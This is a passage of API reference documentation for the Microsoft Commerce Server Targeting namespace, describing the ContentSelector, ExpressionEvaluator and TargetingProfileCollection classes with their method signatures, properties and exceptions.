ItemsRequested | Gets or sets the number of items desired for return from the GetContent method.
Name | Gets the name of the ContentSelector object, which is the same as the name of the ContentSelectionContext object that created this object.
PageHistory | Gets or sets a String that represents the history of ads already selected on the page.
Profiles | Gets the collection of profiles (Profiles or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.
SelectedContentItems | Returns a ContentItemCollection consisting of the raw content items that were last selected using the GetContent method.
Size | Gets or sets the size of the content that should be returned.
TraceMessages | Gets an array of StringCollection objects containing the trace messages that describe the scoring of the content items. This property will always return null if the TraceMode property is not set to True.
TraceMode | Gets or sets a Boolean that determines whether tracing of content item scoring should be enabled.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetContent | Primary method of the ContentSelector object. It sets up the Order and Pipe Context dictionaries and executes the Content Selection Framework (CSF) pipeline that selects content. The formatted content is returned in a StringCollection object.
GetEnumerator | Returns an enumerator allowing the keys of the ContentSelector dictionary to be enumerated.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the Microsoft .NET Framework Software Development Kit (SDK) documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.GetContent Method (BCL)

Use this method to set up the Order and Pipe Context dictionaries and execute the Content Selection Framework (CSF) pipeline that selects content. The formatted content is returned in a StringCollection object.

Definition

[Visual Basic .NET]
Public Function GetContent( _
) As System.Collections.Specialized.StringCollection
[C#]
public System.Collections.Specialized.StringCollection GetContent(
);

Return Value

A StringCollection object containing the formatted content.

Remarks

If the pipeline does not return any formatted content (if no content was available for selection or if no formatting component was configured in the CSF pipeline), then an empty StringCollection object is returned.

Throws a CommerceTargetingException if the profiles collection contains profiles other than User and TargetingContext.

For backward compatibility, if a profile named TargetingContext is passed in the collection, then the properties in the profile are copied to the ContentSelector dictionary, which is passed through the pipeline as a ContextProfile object. If a profile named User is provided, then the profile is passed through the pipeline as the ContextProfile.UserProfile object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.GetEnumerator Method (BCL)

Use this method to return an enumerator allowing the keys of the ContentSelector dictionary to be enumerated.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An IEnumerator object.

Implements

System.Collection.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector Properties (BCL)

Public Instance Properties

Property | Description
AllContentItems | Returns a ContentItemCollection containing all of the content items that were retrieved from the cache during the last call to the GetContent method.
Item(String) | Gets or sets a value in the ContentSelector dictionary of name/value pairs.
ItemsRequested | Gets or sets the number of items desired for return from the GetContent method.
Name | Gets the name of the ContentSelector object, which is the same as the name of the ContentSelectionContext object that created this object.
PageHistory | Gets or sets a String that represents the history of ads already selected on the page.
Profiles | Gets the collection of profiles (Profiles or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.
SelectedContentItems | Returns a ContentItemCollection consisting of the raw content items that were last selected using the GetContent method.
Size | Gets or sets the size of the content that should be returned.
TraceMessages | Gets an array of StringCollection objects containing the trace messages that describe the scoring of the content items. This property will always return null if the TraceMode property is not set to True.
TraceMode | Gets or sets a Boolean that determines whether tracing of content item scoring should be enabled.

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.AllContentItems Property (BCL)

The AllContentItems property is a read-only ContentItemCollection containing all of the content items that were retrieved from the cache during the last call to the GetContent method.

Definition

[Visual Basic .NET]
Public ReadOnly Property AllContentItems As ContentItemCollection
[C#]
public ContentItemCollection AllContentItems {get;}

Property Value

A ContentItemCollection object containing all of the content items that were retrieved from the cache during the last call to GetContent.

Remarks

Returns an empty collection if the GetContent method was not called or if no content was retrieved from the cache.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Item Property (BCL)

The Item property is a read/write object that gets or sets a value in the ContentSelector dictionary of name/value pairs.

Definition

[Visual Basic .NET]
Public Property Item( _
  ByVal key As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String key
) {get; set;}

Parameters

[Visual Basic .NET]
key
The name of the key to get or set.
[C#]
key
The name of the key to get or set.

Property Value

A value in the ContentSelector dictionary of name/value pairs.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.ItemsRequested Property (BCL)

The ItemsRequested property is a read/write integer that gets or sets the number of items desired for return from the GetContent method.

Definition

[Visual Basic .NET]
Public Property ItemsRequested As System.Int32
[C#]
public System.Int32 ItemsRequested {get; set;}

Property Value

The number of items desired for return from the GetContent method.

Remarks

When setting this property, you must use a value greater than or equal to zero. An ArgumentException is thrown if the value is outside of these bounds. The actual number of content items returned from the GetContent method may be less than this value. The default value is one (1).

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Name Property (BCL)

The Name property is a read-only String that gets the name of the ContentSelector object, which is the same as the name of the ContentSelectionContext object that created this object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The name of the ContentSelectionContext object that created this object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.PageHistory Property (BCL)

The PageHistory property is a read/write String that represents the history of ads already selected on the page.

Definition

[Visual Basic .NET]
Public Property PageHistory As System.String
[C#]
public System.String PageHistory {get; set;}

Property Value

A String that represents the history of ads already selected on the page.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Profiles Property (BCL)

The Profiles property is a read-only TargetingProfileCollection object that gets the collection of profiles (Profiles or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.

Definition

[Visual Basic .NET]
Public ReadOnly Property Profiles As TargetingProfileCollection
[C#]
public TargetingProfileCollection Profiles {get;}

Property Value

The collection of profiles (Profile or Commerce.IDictionary objects) that should be targeted when the GetContent method call is made.

Remarks

Only the TargetingContext and User profiles are supported. An exception will be raised if any other profiles are added to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.SelectedContentItems Property (BCL)

The SelectedContentItems property is a read-only ContentItemCollection consisting of the raw content items that were last selected using the GetContent method.

Definition

[Visual Basic .NET]
Public ReadOnly Property SelectedContentItems As ContentItemCollection
[C#]
public ContentItemCollection SelectedContentItems {get;}

Property Value

A ContentItemCollection object consisting of the raw content items that were last selected using the GetContent method.

Remarks

Returns an empty collection if the GetContent method was not called or if no content was selected.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.Size Property (BCL)

The Size property is a read/write String that gets or sets the size of the content that should be returned.

Definition

[Visual Basic .NET]
Public Property Size As System.String
[C#]
public System.String Size {get; set;}

Property Value

The size of the content that should be returned.

Remarks

When the Size property is not equal to NULL, a filter is set up that will ask for only content items of the specified size. Content sizes are managed in the Reference Tables portion of the Campaigns module in Commerce Server Business Desk.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.TraceMessages Property (BCL)

The TraceMessages property is a read-only StringCollection object containing the trace messages that describe the scoring of the content items. This property will always return null if the TraceMode property is not set to True.

Definition

[Visual Basic .NET]
Public ReadOnly Property TraceMessages As System.Collections.Specialized.StringCollection[]
[C#]
public System.Collections.Specialized.StringCollection[] TraceMessages {get;}

Property Value

A StringCollection object containing the trace messages that describe the scoring of the content items.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ContentSelector.TraceMode Property (BCL)

The TraceMode property is a read/write Boolean that indicates whether tracing of content item scoring should be enabled.

Definition

[Visual Basic .NET]
Public Property TraceMode As System.Boolean
[C#]
public System.Boolean TraceMode {get; set;}

Property Value

A Boolean value that indicates whether tracing of content item scoring should be enabled.

Remarks

When tracing is enabled, the TraceMessages property for the content items will be available in the TraceMessages collection after the GetContent method call returns.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Display Targeted Advertisements on an ASP.NET Web Form


ExpressionEvaluator Class (BCL)

Evaluates targeting expressions.

Public Instance Constructor

Constructor | Description
ExpressionEvaluator Constructor(String, DebugContext) | Creates a new instance of the ExpressionEvaluator class that runs against the expression store in the SQL database given by the connectionString parameter. Debug trace messages will be logged using the DebugContext object.

Public Instance Methods

Method | Description
CreateEvaluationContextHandle (TargetingProfileCollection) | Creates an EvaluationContext object for evaluating multiple expressions against the same set of profiles.
Dispose | Releases resources used by this object.
Evaluate(Int32, TargetingProfileCollection) | Evaluates the expression specified by the expressionID parameter using the provided profiles.
EvaluateInContext(Int32, Object) | Evaluates the expression specified by the expressionID parameter using the profiles contained in the EvaluationContextHandle object.
EvaluateXML(String, TargetingProfileCollection) | Evaluates the expression represented in the XML string using the provided profiles.
FlushCache | Removes all loaded and precompiled expressions from the evaluator's expression cache.
FlushExpressionFromCache(Int32) | Removes a single-loaded and precompiled expression from the evaluator's expression cache.
LoadAll | Loads and precompiles all expressions in the expression store database, and updates the expressions cache.
LoadExpression(Int32) | Loads and precompiles the specified expression from the expression store database, and updates the cache if necessary.
ValidateExpressionXml(String) | Checks whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Public Instance Properties

Property | Description
CachedExpressionCount | Gets an Int32 representing the number of expressions currently in the evaluator's expression cache.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator Constructor (BCL)

Public Instance Constructor

Constructor | Description
ExpressionEvaluator Constructor(String, DebugContext) | Creates a new instance of the ExpressionEvaluator class that runs against the expression store in the SQL database given by the connectionString parameter. Debug trace messages will be logged using the DebugContext object.


ExpressionEvaluator Constructor(String, DebugContext) (BCL)

Use this method to create a new instance of the ExpressionEvaluator class that runs against the expression store in the SQL database given by the parameter. Debug trace messages will be logged using the DebugContext object.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal connectionString As System.String, _
  ByVal dbgContext As DebugContext _
)
[C#]
public ExpressionEvaluator(
  System.String connectionString,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
connectionString
An ADO connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.
[C#]
connectionString
An ADO connection string. May not be null.
dbgContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user. May not be null.

Remarks

Throws ArgumentNullException if either the either the connectionString or the dbgContext arguments are null.

Throws CommerceCreateObjectException if the ExpressionEvaluator COM component could not be created.

Throws CommerceTargetingException if the connection to the expression store database failed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator Methods (BCL)

Public Instance Methods

Method | Description
CreateEvaluationContextHandle (TargetingProfileCollection) | Creates an EvaluationContext object for evaluating multiple expressions against the same set of profiles.
Dispose | Releases resources used by this object.
Evaluate(Int32, TargetingProfileCollection) | Evaluates the expression specified by the expressionID parameter using the provided profiles.
EvaluateInContext(Int32, Object) | Evaluates the expression specified by the expressionID parameter using the profiles contained in the EvaluationContextHandle object.
EvaluateXML(String, TargetingProfileCollection) | Evaluates the expression represented in the XML string using the provided profiles.
FlushCache | Removes all loaded and precompiled expressions from the evaluator's expression cache.
FlushExpressionFromCache(Int32) | Removes a single-loaded and precompiled expression from the evaluator's expression cache.
LoadAll | Loads and precompiles all expressions in the expression store database, and updates the expressions cache.
LoadExpression(Int32) | Loads and precompiles the specified expression from the expression store database, and updates the cache if necessary.
ValidateExpressionXml(String) | Checks whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


ExpressionEvaluator.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.CreateEvaluationContextHandle (TargetingProfileCollection) Method (BCL)

Use this method to create an EvaluationContext object for evaluating multiple expressions against the same set of profiles.

Definition

[Visual Basic .NET]
Public Function CreateEvaluationContextHandle( _
  ByVal profiles As TargetingProfileCollection _
) As System.Object
[C#]
public System.Object CreateEvaluationContextHandle(
  TargetingProfileCollection profiles
);

Parameters

[Visual Basic .NET]
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.
[C#]
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.

Return Value

An EvaluationContext object for use with the EvaluateInContext method.

Remarks

Throws ArgumentNullException if the profiles parameter was passed as null.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.Evaluate (Int32, TargetingProfileCollection) Method (BCL)

Use this method to evaluate the expression specified by the parameter and the provided profiles.

Definition

[Visual Basic .NET]
Public Function Evaluate( _
  ByVal expressionID As System.Int32, _
  ByVal profiles As TargetingProfileCollection _
) As ExpressionEvaluator.ExpressionResult
[C#]
public ExpressionEvaluator.ExpressionResult Evaluate(
  System.Int32 expressionID,
  TargetingProfileCollection profiles
);

Parameters

[Visual Basic .NET]
expressionID
The expression ID of the expression to be evaluated. Must be greater than 0.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.
[C#]
expressionID
The expression ID of the expression to be evaluated. Must be greater than 0.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.

Return Value

An ExpressionResult enumerator.

Remarks

Throws ArgumentNullException if the profiles argument was passed as null.

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.EvaluateInContext (Int32, Object) Method (BCL)

Use the following method to evaluate the expression specified by the parameter and the profiles contained in the EvaluationContextHandle object.

Definition

[Visual Basic .NET]
Public Function EvaluateInContext( _
  ByVal expressionID As System.Int32, _
  ByVal evaluationContextHandle As System.Object _
) As ExpressionEvaluator.ExpressionResult
[C#]
public ExpressionEvaluator.ExpressionResult EvaluateInContext(
  System.Int32 expressionID,
  System.Object evaluationContextHandle
);

Parameters

[Visual Basic .NET]
expressionID
ExpressionID of the expression to be evaluated. Must be greater than 0.
evaluationContextHandle
An EvaluationContext object created by the CreateEvaluationContextHandle method.
[C#]
expressionID
An expression ID of the expression to be evaluated. Must be greater than 0.
evaluationContextHandle
An EvaluationContext object created by the CreateEvaluationContextHandle method.

Return Value

An ExpressionResult enumerator.

Remarks

Throws ArgumentNullException if the evaluationContextHandle parameter was passed as null.

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.EvaluateXML (String, TargetingProfileCollection) Method (BCL)

Use this method to evaluate the expression represented in the XML string using the provided profiles.

Definition

[Visual Basic .NET]
Public Function EvaluateXML( _
  ByVal expressionXml As System.String, _
  ByVal profiles As TargetingProfileCollection _
) As ExpressionEvaluator.ExpressionResult
[C#]
public ExpressionEvaluator.ExpressionResult EvaluateXML(
  System.String expressionXml,
  TargetingProfileCollection profiles
);

Parameters

[Visual Basic .NET]
expressionXml
An XML body of the expression to be evaluated. Must be valid and well-formed. This parameter may not be null.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.
[C#]
expressionXml
An XML body of the expression to be evaluated. Must be valid and well-formed. This parameter may not be null.
profiles
A TargetingProfileCollection, representing a set of named Profile objects to be targeted. May not be null.

Return Value

An ExpressionResult object.

Remarks

Throws ArgumentNullException if one of the parameters passed is null.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.FlushCache Method (BCL)

Use this method to remove all loaded and precompiled expressions from the evaluator's expression cache.

Definition

[Visual Basic .NET]
Public Sub FlushCache( _
)
[C#]
public void FlushCache(
);

Remarks

Throws CommerceTargetingException if the cache could not be flushed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.FlushExpressionFromCache (Int32) Method (BCL)

Use this method to removes a single-loaded and precompiled expression from the evaluator's expression cache.

Definition

[Visual Basic .NET]
Public Sub FlushExpressionFromCache( _
  ByVal expressionID As System.Int32 _
)
[C#]
public void FlushExpressionFromCache(
  System.Int32 expressionID
);

Parameters

[Visual Basic .NET]
expressionID
The expression ID of the expression to be flushed. Must be greater than 0.
[C#]
expressionID
The expression ID of the expression to be flushed. Must be greater than 0.

Remarks

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.LoadAll Method (BCL)

Use the following method to load and precompile all expressions in the expression store database, and update the expressions cache.

Definition

[Visual Basic .NET]
Public Sub LoadAll( _
)
[C#]
public void LoadAll(
);

Remarks

Throws CommerceTargetingException for all failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.LoadExpression (Int32) Method (BCL)

Use this method to load and precompile the specified expression from the expression store database, and update the cache if necessary.

Definition

[Visual Basic .NET]
Public Sub LoadExpression( _
  ByVal expressionID As System.Int32 _
)
[C#]
public void LoadExpression(
  System.Int32 expressionID
);

Parameters

[Visual Basic .NET]
expressionID
The expression ID of the expression to be loaded. Must be greater than 0.
[C#]
expressionID
The expression ID of the expression to be loaded. Must be greater than 0.

Remarks

Throws ArgumentOutOfRangeException if the expressionID parameter is less than one.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.ValidateExpressionXml (String) Method (BCL)

Use this method to check whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Definition

[Visual Basic .NET]
Public Function ValidateExpressionXml( _
  ByVal expressionXml As System.String _
) As System.Boolean
[C#]
public System.Boolean ValidateExpressionXml(
  System.String expressionXml
);

Parameters

[Visual Basic .NET]
expressionXml
The XML fragment string. May not be null.
[C#]
expressionXml
The XML fragment string. May not be null.

Return Value

True is returned if the expression XML is valid. If it is invalid, an exception is thrown.

Remarks

Throws ArgumentNullException if the expressionXML parameter was passed as null.

Throws CommerceTargetingException for all other failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator Properties (BCL)

Public Instance Properties

Property | Description
CachedExpressionCount | Gets an Int32 representing the number of expressions currently in the evaluator's expression cache.


ExpressionEvaluator.CachedExpressionCount Property (BCL)

The CachedExpressionCount property is a read-only Int32 that represents the number of expressions currently in the evaluator's expression cache.

Definition

[Visual Basic .NET]
Public ReadOnly Property CachedExpressionCount As System.Int32
[C#]
public System.Int32 CachedExpressionCount {get;}

Property Value

The number of expressions currently in the evaluator's expression cache.

Remarks

Throws CommerceTargetingException for all failures.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ExpressionEvaluator.ExpressionResult Enumeration (BCL)

An expression result: true, false, or undefined.

Members

Member name | Description
False | The expression evaluated to False.
True | The expression evaluated to True.
UndefinedResult | The expression result could not be determined because a referenced profile or profile property did not exist.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Class (BCL)

Stores the set of named Profile objects to be targeted.

Public Instance Constructor

Constructor | Description
TargetingProfileCollection Constructor | Creates a new instance of the TargetingProfileCollection class.

Public Instance Methods

Method | Description
Add(String, Profile) | Adds a profile to the collection.
Add(String, Object) | Adds a Commerce.IDictionary object containing targeting properties to the collection.
CopyTo(Array, Int32) | Copies the items to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the items in the collection.

Public Instance Properties

Property | Description
Count | Gets the number of items contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to retrieve a profile or a Commerce.Dictionary object from the collection.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
TargetingProfileCollection Constructor | Creates a new instance of the TargetingProfileCollection class.


TargetingProfileCollection Constructor (BCL)

Use this method to create a new instance of the TargetingProfileCollection class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public TargetingProfileCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, Profile) | Adds a profile to the collection.
Add(String, Object) | Adds a Commerce.IDictionary object containing targeting properties to the collection.
CopyTo(Array, Int32) | Copies the items to an array, starting at a particular array index.
Dispose | Releases resources used by this object.
GetEnumerator | Supports enumeration of the items in the collection.


TargetingProfileCollection.Add (String, Profile) Method (BCL)

Use this method to add a profile to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal name As System.String, _
  ByVal profile As Profile _
)
[C#]
public void Add(
  System.String name,
  Profile profile
);

Parameters

[Visual Basic .NET]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
profile
The profile to add. May not be null.
[C#]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
profile
The profile to add. May not be null.

Remarks

Throws ArgumentNullException if one of the required parameter values was null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.Add (String, Object) Method (BCL)

Use this method to add a Commerce.IDictionary object containing targeting properties to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal name As System.String, _
  ByVal dictionary As System.Object _
)
[C#]
public void Add(
  System.String name,
  System.Object dictionary
);

Parameters

[Visual Basic .NET]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
dictionary
The Dictionary object to add. May not be null.
[C#]
name
The name of the profile. This must match the profile identifier portion of any expressions that are to evaluate against the profile. May not be null.
dictionary
The Dictionary object to add. May not be null.

Remarks

Throws ArgumentNullException if one of the required parameter values was null.

Throws ArgumentException if the dictionary parameter is not a valid dictionary.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the items to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TargetingProfileCollection.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
